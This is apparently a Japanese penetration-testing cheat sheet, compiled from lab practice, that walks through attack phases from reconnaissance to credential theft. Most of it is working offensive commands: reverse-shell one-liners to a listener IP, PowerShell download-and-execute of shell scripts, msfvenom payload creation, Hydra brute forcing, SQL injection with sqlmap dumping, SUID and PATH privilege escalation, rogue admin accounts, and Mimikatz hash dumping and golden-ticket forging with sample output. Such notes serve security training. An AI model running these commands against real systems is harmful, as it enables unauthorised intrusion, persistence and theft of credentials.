環境情報
┌──(marseille㉿31st-Storm)-[~]
└─$ cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.3"
VERSION_ID="2022.3"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
環境準備
netcatの各種準備
オプション説明
引数 | 説明 |
---|---|
-l | 着信待ちモード(サーバーモード) |
-v | 詳細の出力 |
-n | 逆引き解決しない |
-p | ポート指定 |
サーバーモード
nc -lvnp 9999
クライアントモード
nc <IP> <Port>
Metasploit用のデータベース準備
Offensive Security Using Databases
- データベースの起動
systemctl start postgresql
- データベースの初期化
msfdb init
- データベースとの接続状況確認
msf> db_status
- ワークスペースの準備
# ワークスペース一覧表示
msf> workspace -l
# ワークスペースの削除
msf> workspace -d <workspace name>
# ワークスペースの追加
msf> workspace -a <workspace name>
- スキャン結果のホストデータを活用する
msf> use auxiliary/scanner/ftp/anonymous
msf> hosts -R
msf> show options
Module options (auxiliary/scanner/ftp/anonymous):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS 10.10.171.100 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
参考サイト
利用フェーズ | サイト名 | URL |
---|---|---|
偵察 | Nmap オプションマニュアル | https://nmap.org/book/man-briefoptions.html |
初期アクセス | SQLインジェクション チートシート | http://www.byakuya-shobo.co.jp/hj/moh/sqlinjectioncheatsheet.html |
初期アクセス | SQLmap マニュアル | https://github.com/sqlmapproject/sqlmap/wiki/Usage |
持続化 | リバースシェル ジェネレーター | https://www.revshells.com/ |
持続化 | PHP リバースシェル | https://github.com/pentestmonkey/php-reverse-shell |
持続化 | nishang Powershell Reverse shell | https://github.com/samratashok/nishang/tree/master/Shells |
権限昇格 | GTFObins | https://gtfobins.github.io/ |
権限昇格 | LinPEAS | https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS |
権限昇格 | WinPEAS | https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS |
権限昇格 | Powershell 権限昇格ツール | https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 |
権限昇格 | Power View | https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993 |
権限昇格 | Crack Station | https://crackstation.net/ |
権限昇格 | hashes | https://hashes.com/en/decrypt/hash |
その他 | CyberChef | https://gchq.github.io/CyberChef/ |
偵察(Reconnaissance)
ネットワーク探索
- リーチャビリティがある端末
- オープンポート/サービス/バージョン、OS
- 共有状態のファイルシステム
- 脆弱性の有無
Nmap
- マニュアル
- NSEスクリプトDB
- /usr/share/nmap/scripts/script.db
オプション説明
引数 | 説明 |
---|---|
-sn | Ping応答によるホスト確認、ポートスキャンはスキップ |
-Pn | pingによるホスト確認のスキップ |
-sV | ポートのバージョン確認 |
-sS | TCP SYNスキャン |
-sU | UDPスキャン |
-n | 逆引きDNSをしない |
-F | 高速スキャン(nmap-servicesファイルに記載があるものを対象とする) |
-O | OS検出の有効化 |
-A | OS情報、ポートのバージョン情報も含めすべてスキャン |
-p | ポートの指定, 「-p-」で全ポート指定 |
-sC / --script | NSEスクリプトの利用 |
-T | タイミングの指定(T0〜T5) |
タイミングについて
引数 | 説明 |
---|---|
0 | paranoid/IDS回避用のタイミングテンプレート |
1 | sneaky/IDS回避用のタイミングテンプレート |
2 | polite/スキャン処理速度を落として帯域幅とマシンのリソース消費量を抑える |
3 | normal/指定しなかった場合のデフォルト値 |
4 | Aggressive/適度に高速で信頼性のネットワークがある想定でスキャン速度を向上させる |
5 | insane/非常に高速なネットワーク上にいるか、一部の精度を犠牲にしてスキャン速度を向上させる |
サブドメイン列挙
gobusterのvhost、dnsでも実施できるが、Hack The Boxでは以下のやり方だったら発見できたため、ケースバイケースとなる
# -fc:レスポンスコード302を除外
$ ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u http://hoge.htb -H "Host: FUZZ.hoge.fuga" -fc 302
端末の有無確認
nmap -sn <CIDR>
端末のポートスキャン(バージョン確認)
nmap -sV <target>
FTPへの匿名ログインチェック
nmap -p21 --script ftp-anon <target>
vsftpdのバックドア確認
nmap -p21 --script ftp-vsftpd-backdoor <target>
Rustscan
nmapと比べると速い。最新バージョンでは「-a」でIPアドレスやIPレンジを指定し、「--」以降でNmapで使うオプションを指定することにより同じことをすることができる。
$ rustscan --version
rustscan 2.1.1
$ rustscan -a 10.10.11.242 -- -sV -A -n
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/marseille/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.242:22
Open 10.10.11.242:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -A -n" on ip 10.10.11.242
Depending on the complexity of the script, results may take some time to appear.
SMB探索
情報列挙
# nmapを利用する場合
nmap -p <Port Num> --script smb-enum-* <target>
# enum4linux-ngを利用する場合
enum4linux -a <IP>
enum4linux-ng.py <IP>
共有フォルダの情報列挙
crackmapexecはアクセス権限情報まで表示してくれるため便利
# ディレクトリレベルでの情報列挙
crackmapexec smb <IP> -u <username> -p "" --shares
# 再帰的にファイル情報まで列挙(出力は/tmpディレクトリ配下でJSON形式)
crackmapexec smb <IP> -u <username> -p "" --shares -M spider_plus
smbmap -u <username> -H <IP>
smbclient -L //<IP>
脆弱性有無確認
nmap -p <Port Num> --script smb-vuln-* <target>
SIDユーザーの列挙
# ユーザー名は適当でOK、パスワードは不明なため -no-passオプションをつけること
python3 /<your install path>/impacket/examples/lookupsid.py <username>@<IP> -no-pass
ログイン+ファイル列挙
smbclient //<IP>/Path -U <username>
kerberos探索
88/tcpが空いている場合、ユーザー名やパスワード、ブルートフォース可否の列挙が可能
#kerbruteを用いる場合
./kerbrute_linux_amd64 userenum --dc <DC IP> -d <Dmain Name> <username list>
# impacketを用いてユーザーのハッシュを取得
## ユーザー指定の場合
python3 /<your install path>/impacket/examples/GetNPUsers.py -dc-ip <IP> <Domain Name>/<username>
## ユーザー一覧ファイルを指定する場合
## !! ドメイン名はあらかじめ/etc/hostsでマッピングしておくこと
python3 /<your install path>/impacket/examples/GetNPUsers.py <Domain name>/ -no-pass -usersfile <user file>
# impacketを用いて各ユーザーの資格情報を取得
python3 /<your install path>/impacket/examples/secretsdump.py <domain>/<username>:<password>@<IP>
# evil-winrmを用いて侵入可能性をチェック
evil-winrm -i <target IP> -u <username> -p <password>
evil-winrm -i <target IP> -u <username> -H <NTLM hash>
# psexecを用いて侵入可能性をチェック
python3 /<your install path>/impacket/examples/psexec.py <domain>/<username>@<IP> -hashes <LM:NTLM>
# wmiexecを用いて侵入可能性をチェック
python3 /<your install path>/impacket/examples/wmiexec.py <domain>/<username>@<IP> -hashes <LM:NTLM>
Web探索
- ディレクトリ構造/コンテンツシステム
- 問い合わせ系などメール送信系はOSコマンドインジェクションの活用潜在性あり
- コンテンツ
- robots.txt インデックス化を明示的に避けているコンテンツ
- favicon.ico OWASP faviconDBと照合しフレームワークをチェック
- sitemap.xml サイトマップの確認
- システムバージョン
gobuster
拡張子指定なしで大半はうまくいくが、行かない場合は拡張子を指定して再実行すること。php,txt,htmlを指定しておくと良い
gobuster dir -u <URL> -w <ワードファイル> -x <拡張子> -t <スレッド数> -b <コンテンツなしと判断する応答コード(カンマ区切り)>
dirb
dirb <URL> <ワードファイル> -X <拡張子>
WordPress
# ユーザーの列挙
wpscan --url http://10.10.211.179 --enumerate u
DNS探索
ゾーン転送
dig axfr <domain> @<DNS server>
SMTP探索
SMTP通信を活用して存在するユーザー一覧を取得する
msf> use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
msf auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <IP>
msf auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 10.10.30.44:25 - 10.10.30.44:25 Banner: 220 polosmtp.home ESMTP Postfix (Ubuntu)
[+] 10.10.30.44:25 - 10.10.30.44:25 Users found: administrator
SQL探索
msf > use auxiliary/admin/mysql/mysql_sql
資源開発(Resource Development)
マルウェア開発
msfvenom
オプション説明
引数 | 説明 |
---|---|
-p | ペイロードの指定 |
-f | フォーマット(ファイルタイプ)の指定 |
-e | エンコーディングの指定 |
-o | アウトプット先およびファイル名の指定 |
ペイロードには種類があり、モジュール名にも分類がある。
種類 | モジュール命名規則 | 説明 |
---|---|---|
ステージャー | shell/〜〜〜 | ファイルを実行し段階を経て目的を実行する。メモリへのペイロード挿入をAMSIで検知されやすい |
ステージレスペイロード | shell_ | 実行後即座にペイロードを実行。使いやすいが検知されやすい |
AMSI:Anti-Malware Scan Interface |
マルウェア作成
msfvenom -p <payload> -f <format> -o <path/filename> LHOST=<listen-IP> LPORT=<listen-port>
初期アクセス(Initial Access)
ブルートフォース
Hydra
サポートプロトコル
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
オプション説明
引数 | 説明 |
---|---|
-l | ユーザー名の指定 |
-P | パスワードリストの指定 |
-t | スレッド数 |
-s | ポート番号の指定 |
http-post-form | httpフォームのPOSTに対する攻撃 |
htt-get | Basic認証に対する攻撃 |
SSH ブルートフォース
hydra -l <ユーザー名> -P <パスワードリスト> ssh://<target> -t 6
SMB ブルートフォース
hydra -l <ユーザー名> -P <パスワードリスト> <IP> smb
HTTP Basic認証ブルートフォース
hydra -l <ユーザー名> -P <パスワードリスト> <IP> http-get <path>
HTTP ログインフォーム ブルートフォース
POST時のボディ部を参考にhttp-post-formの引数の中身を作成する。特にユーザー名、パスワードおよび失敗時の文章は入念に確認すること。
hydra -l <ユーザー名> -P <パスワードリスト> <target> http-post-form "<ログインフォームパス>:<フォームID名>=^USER^&<フォームPW名>=^PASS^:<失敗時の文言>"
# 実行例
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.1.159 http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:Username or password invalid"
# 実行例@WordPress login
hydra -l c0ldd -P /usr/share/wordlists/rockyou.txt "http-post-form://10.10.211.179/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.211.179%2Fwp-admin%2F&testcookie=1:incorrect." -V
SQLログイン
手作業
mysql -h <IP> -u <username> -p
Metasploitを活用
# データベースのダンプ
msf > use auxiliary/scanner/mysql/mysql_schemadump
# ハッシュのダンプ
msf > use auxiliary/scanner/mysql/mysql_hashdump
SQLインジェクション
手作業
admin' OR 1=1 # --
SQLmap
BurpSuiteと組み合わせ、POSTした際のヘッダー、ボディをエクスポートしたデータを流用しインジェクションを行う
オプション説明
引数 | 説明 |
---|---|
-r | サンプルリクエストの指定 |
-p | テストフィールドの名前を指定 |
--current-user | DB接続のユーザー表示 |
--current-db | 現在のDB名表示 |
--dbs | データベース一覧の表示 |
-D | データベースの指定 |
-T | テーブルの指定 |
--tables | テーブル一覧の表示 |
--columns | カラム一覧の表示 |
--dump | データの出力 |
DMBSのユーザー名確認
sqlmap -r <HTTPリクエストデータファイル> -p <フィールド名> --current-user
接続しているDB名の表示
sqlmap -r post_request.txt -p blood_group --current-db
データベースの一覧表示
sqlmap -r post_request.txt -p blood_group --dbs
指定したデータベースに含まれるテーブル一覧の表示
sqlmap -r post_request.txt -p blood_group -D blood --tables
指定したテーブルのカラム一覧の表示
sqlmap -r post_request.txt -p blood_group -D blood -T flag --columns
指定したデータベースを出力する
sqlmap -r post_request.txt -p blood_group -D blood -T flag --dump
NFSアクセス
portmapperとしてTCP/111で動作している。列挙しアクセス可能な状態を調査、悪用する。
# nmapを使う場合
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <IP>
# コマンドを使う場合
showmount -e <IP>
# マウント
mount <IP>/<Direcotry> /<mount point>
sudo mount -t nfs <IP>:/<Directory> /<mount point> -nolock
実行(Execution)
Exploit-DB
┌──(marseille㉿31st-Storm)-[~/tryhackme]
└─$ searchsploit blogengine
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection | xml/webapps/48422.txt
BlogEngine 3.3 - XML External Entity Injection | windows/webapps/46106.txt
BlogEngine 3.3.8 - 'Content' Stored XSS | aspx/webapps/48999.txt
BlogEngine.NET 1.4 - 'search.aspx' Cross-Site Scripting | asp/webapps/32874.txt
BlogEngine.NET 1.6 - Directory Traversal / Information Disclosure | asp/webapps/35168.txt
BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution | aspx/webapps/46353.cs
BlogEngine.NET 3.3.6/3.3.7 - 'dirPath' Directory Traversal / Remote Code Execution | aspx/webapps/47010.py
BlogEngine.NET 3.3.6/3.3.7 - 'path' Directory Traversal | aspx/webapps/47035.py
BlogEngine.NET 3.3.6/3.3.7 - 'theme Cookie' Directory Traversal / Remote Code Execution | aspx/webapps/47011.py
BlogEngine.NET 3.3.6/3.3.7 - XML External Entity Injection | aspx/webapps/47014.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(marseille㉿31st-Storm)-[~/tryhackme]
└─$ locate 47010.py
/usr/share/exploitdb/exploits/aspx/webapps/47010.py
Metasploit
モジュール検索
msf6 > search --help
Usage: search [<options>] [<keywords>:<value>]
Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date : Modules with a matching disclosure date
description : Modules with a matching description
fullname : Modules with a matching full name
mod_time : Modules with a matching modification date
name : Modules with a matching descriptive name
path : Modules with a matching path
platform : Modules affecting this platform
port : Modules with a matching port
rank : Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))
ref : Modules with a matching ref
reference : Modules with a matching reference
target : Modules affecting this target
type : Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
CVE番号でのモジュール検索
search cve:<xxxx-xxxxx>
exploitのキーワード検索
search type:exploit <キーワード>
モジュールの利用
モジュールの選択
use <モジュール名>
モジュールのオプション(パラメーター)確認、パラメーターセット
show options
set <オプション名> <値>
ペイロードの確認、指定
種類 | 意味 |
---|---|
winnet | ログインユーザー権限で動くアプリ向けモジュール |
winhttp | サービス等バックグラウンド動作での利用向けモジュール |
show payloads
use <ペイロードモジュール名>
exploitの実行
exploit
# バックグラウンド化
exploit -z
セッションのバックグラウンド化
meterpriter> background
# もしくは Ctrol+Z
持続化(Persistence)
Linux
シェルでのリバースシェルの接続
# パターン1
/bin/bash -i >& /dev/tcp/<IP>/<Port> 0>&1
# パターン2(OSコマンドインジェクションが聞く場合)
php -r '$sock=fsockopen("<IP>",<Port>);exec("/bin/sh -i <&3 >&3 2>&3");'
nc -e /bin/bash <IP> <Port>
WebShell
pentestmonkey / PHP-Reverse-Shell
# php-reverse-shell.php
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
シェルのグレードアップ(パターン1)
# bashの起動
python -c 'import pty; pty.spawn("/bin/bash")'
# clearなどのコマンドを利用できるように
export TERM=xterm
# オートコンプリート、矢印等を利用できるように
$ ^Z(Ctrl + Zでバックグラウンドへ移動させる)
$ stty raw -echo; fg
シェルのグレードアップ(パターン2)
script /dev/null -qc /bin/bash
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
便利なリスナー
# リッスン開始
rlwrap nc -lvnp <port>
# オートコンプリート、矢印等を利用できるように
$ ^Z(Ctrl + Zでバックグラウンドへ移動させる)
$ stty raw -echo; fg
Windows
ファイルダウンロード
# コマンドプロンプトで外部ファイルをダウンロード
powershell -c "Invoke-WebRequest -Uri 'http://10.14.30.112:8080/evil.exe' -OutFile 'C:\Windows\Temp\evil.exe'"
# 他のターミナルで
msf> use exploit/multi/handler
# ダウンロード+実行
powershell iex (New-Object Net.WebClient).DownloadString('http://<your IP>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <your IP> -Port <your Port>
持続化モジュールの利用(metasploit)
msf6 exploit(multi/handler) > use exploit/windows/local/persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > show options
Module options (exploit/windows/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Delay (in seconds) for persistent payload to keep reconnecting back.
EXE_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
PATH no Path to write payload (%TEMP% by default).
REG_NAME no The name to call registry value for persistence on target host (%RAND% by default).
SESSION yes The session to run this module on
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM)
VBS_NAME no The filename to use for the VBS persistent script on the target host (%RAND% by default).
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.111 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Windows
msf6 exploit(windows/local/persistence) > set LHOST 10.14.30.112
LHOST => 10.14.30.112
msf6 exploit(windows/local/persistence) > set session 1
session => 1
msf6 exploit(windows/local/persistence) > exploit
[*] Running persistent module against DOMAIN-CONTROLL via session ID: 1
[+] Persistent VBS script written on DOMAIN-CONTROLL to C:\Users\Administrator\AppData\Local\Temp\DadQeC.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\oFenbxNzGQ
[+] Installed autorun on DOMAIN-CONTROLL as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\oFenbxNzGQ
[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/DOMAIN-CONTROLL_20221015.4420/DOMAIN-CONTROLL_20221015.4420.rc
アカウントの作成およびグループ追加
# アカウントの追加
net user <username> <password> /add
# ローカル管理者グループに追加
net localgroup administrators <username> /add
権限昇格(Privilege Escalation)
各種参考サイト
Linux
sudoの悪用
sudoで利用できるコマンド確認
sudo -l
SUIDの悪用
NFS経由
no_squashが無効化されている場合はrootユーザーで書き込み等が可能であるため悪用する
# 権限昇格用のELFをコピーする
cp ./bash /<mountpoint>
# 実行権限とSUID、所有者の設定
chmod +x /<mountpoint>/bash
chmod +s /<mountpoint>/bash
chown root /<mountpoint>/bash
# 内部ユーザーで実行して権限昇格
./bash
rootユーザーで実行できるコマンドの確認
# どちらかを実行
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
capabilityの悪用
capの確認
getcap -r / 2>/dev/null
Cronチェック
cronプロセスでroot権限で実行しているファイルがないか確認。あればファイルを改ざんしてリバースシェルを実行
PATHチェック
PATHの悪用
root権限で実行できるプログラムがフルパス指定ではないコマンドを用いたものである場合、実行者のパスを用いてコマンドを探す。
これを悪用し、自身のパスを変更してシェルを起動させる。
mkdir /home/<username>/bin
echo "/bin/sh" > /home/<username>/bin/<command>
chmod 777 /home/<username>/bin/<command>
export PATH=/home/<username>/bin:$PATH
各種チェックツール(LinPEAS)
直接ダウンロード+実行
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
間接的ダウンロード
sudo python -m SimpleHTTPServer 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim
Windows
各種チェックツール(WinPEAS)
PowerView.ps1
# Powershellの実行ポリシーをバイパスして起動する
PS > powershell -ep bypass
# PowerViewのロード
PS > . .\PowerView.ps1
# ユーザー列挙
PS > Get-NetUser | select cn
# 共有フォルダーの列挙
PS > Invoke-ShareFinder
# ネットワークのコンピューター列挙
PS > Get-NetComputer -fulldata | select operatingsystem
PowerUp.ps1
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
上記スクリプトを端末上で実行し、「CanReset:True」のものを探す。Trueである場合はシステム権限を有していることと同義である。
また、フォルダ名がスペースで区切られている場合は区切られる前の文字列のexeファイルを参照し、存在すれば実行するため「<前半部分>.exe」のリバースシェルプログラムを実行させる。
Meterpriter> upload /<your saved directory>/PowerUp.ps1
Meterpriter> load powershell
Meterpriter> powershell_shell
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks
サービスを探す
PS > powershell -c "GetService"
PowerShellでのサービス再起動
# PowerShellの場合
PS > sc.exe stop <Service Name>
PS > sc.exestart <Service Name>
# cmdの場合
sc stop <Service Name>
sc start <Service Name>
構成ファイルの確認
Windows展開サービスを利用した無人インストール時にはプレーンテキストでパスワードが保存されている可能性がある。
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
以下が内容例である
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
シェルヒストリー
PowerShellのヒストリー
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
資格情報
cmdkey /list
runas /savecred /user:<UserName> cmd.exe
保存されたSSHのセッション情報
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
登録されたタスク
schtasks
schtasks /query /tn <task name> /fo list /v
トークン偽装
Metasploit経由
参考サイト:https://blog.nflabs.jp/entry/2021/12/20/094644
# 権限の確認
## SeImpersonatePrivilegeを有していること
## SeDebugPrivilegeも有しているとなおよし
whoami /priv
# トークンの偽装
meterpriter> load incognito
meterpriter> list_tokens -g
meterpriter> impersonate_token "BUILTIN\Administrator"
# プロセスのマイグレーション(services.exeにマイグレーション)
meterpriter> migrate <pid>
meterpriter> getpid
通常のシェル経由
# 権限の確認
# SeImpersonatePrivilegeがEnabledになっていること
c:\Windows\Temp>whoami
iis apppool\defaultapppool
c:\Windows\Temp>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
# 権限昇格
c:\Windows\Temp>powershell -c "Invoke-WebRequest -Uri 'http://10.13.1.50:8080/PrintSpoofer64.exe' -OutFile 'C:\Windows\Temp\PrintSpoofer64.exe'"
c:\Windows\Temp>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Metasploit
- UACのバイパス
- ローカルでの権限昇格可能性チェック
資格情報取得(Credential Access)
ハッシュダンプ
Linux
1000番台はユーザー権限
cat /etc/passwd
cat /etc/shadow
Windows
パスワードハッシュ解説 https://atmarkit.itmedia.co.jp/ait/articles/0805/08/news151_2.html
UIDが500番台は管理者権限を有している
ユーザー名:UID:ハッシュ(LM:NTLM)
impaketを使う場合
ドメイン管理者グループに属している資格情報を有している場合、他ユーザーの資格情報をSAMデータベースからダンプできる。
python3 /<your install path>/impacket/examples/secretsdump <domain name>/<username>@<IP>
metasploitを使う場合
# lsass.exeにmigrateする必要がある場合ものある
meterpriter> migrate <PID>
meterpriter> hashdump
Mimikatzを用いたゴールデンチケットの作成
管理者権限の実行確認
mimikatz # privilege::debug
Privilege '20' OK
NTLMハッシュのダンプ
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
ゴールデンチケットの作成
# TGSアカウントのハッシュとセキュリティ識別子の把握
# User名がkrbtgtであることを確認し、セキュリティ識別子とPrimary NTLM値をコピーする
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f6 (502)
User : krbtgt
* Primary
NTLM : 5508500012cc005cf7082a9a89ebdfdf
LM :
Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
lm - 0: 372f405db05d3cafd27f8e6a4a097b2c
* WDigest
01 49a8de3b6c7ae1ddf36aa868e68cd9ea
02 7902703149b131c57e5253fd9ea710d0
03 71288a6388fb28088a434d3705cc6f2a
04 49a8de3b6c7ae1ddf36aa868e68cd9ea
05 7902703149b131c57e5253fd9ea710d0
06 df5ad3cc1ff643663d85dabc81432a81
07 49a8de3b6c7ae1ddf36aa868e68cd9ea
08 a489809bd0f8e525f450fac01ea2054b
09 19e54fd00868c3b0b35b5e0926934c99
10 4462ea84c5537142029ea1b354cd25fa
11 6773fcbf03fd29e51720f2c5087cb81c
12 19e54fd00868c3b0b35b5e0926934c99
13 52902abbeec1f1d3b46a7bd5adab3b57
14 6773fcbf03fd29e51720f2c5087cb81c
15 8f2593c344922717d05d537487a1336d
16 49c009813995b032cc1f1a181eaadee4
17 8552f561e937ad7c13a0dca4e9b0b25a
18 cc18f1d9a1f4d28b58a063f69fa54f27
19 12ae8a0629634a31aa63d6f422a14953
20 b6392b0471c53dd2379dcc570816ba10
21 7ab113cb39aa4be369710f6926b68094
22 7ab113cb39aa4be369710f6926b68094
23 e38f8bc728b21b85602231dba189c5be
24 4700657dde6382cd7b990fb042b00f9e
25 8f46d9db219cbd64fb61ba4fdb1c9ba7
26 36b6a21f031bf361ce38d4d8ad39ee0f
27 e69385ee50f9d3e105f50c61c53e718e
28 ca006400aefe845da46b137b5b50f371
29 15a607251e3a2973a843e09c008c32e3
* Kerberos
Default Salt : CONTROLLER.LOCALkrbtgt
Credentials
des_cbc_md5 : 64ef5d43922f3b5d
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
aes128_hmac (4096) : 7eb35bddd529c0614e5ad9db4c798066
des_cbc_md5 (4096) : 64ef5d43922f3b5d
* NTLM-Strong-NTOWF
Random Value : 666caaaaf30081f30211bd7fa445fec4
# チケットの作成
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
User : Administrator
Domain : controller.local (CONTROLLER)
SID : S-1-5-21-849420856-2351964222-986696166
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
Lifetime : 10/15/2022 1:34:04 AM ; 10/12/2032 1:34:04 AM ; 10/12/2032 1:34:04 AM
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
ハッシュ解析
CrackStation https://crackstation.net/
John the Ripper
NTLMハッシュの解析
# John The Ripperを使う場合
john --format=NT <ハッシュファイル>
# hashcatを使う場合
hashcat -m 1000 ./mimikatz_hash.txt /usr/share/wordlists/rockyou.txt
64f12cddaa88057e06a81b54e73b949b:Password1
c39f2beb3d2ec06a62cb887fb391dee0:Password2
c4b0e1b10c7ce2c4723b4e2407ef81a2:Password3
2777b7fec870e04dda00cd7260f7bee6:P@$$W0rd
f4ab68f27303bcb4024650d8fc5f973a:MYpassword123#
ハッシュタイプが不明な場合
john --format=GOST <ハッシュファイル>
パスワードリストを指定する
john -wordlist:<ファイルパス>
発見(Discovery)
post exploit enum
ネットワークドライブのマウント状況確認
cmd> net view
# その後pushdを使う
ファイル検索
Linux
find / -name <ファイル名> 2>/dev/null
共通
meterpriter> search -f <ファイル名>
その他解析系
画像ファイルの解析
ファイルの埋め込み確認
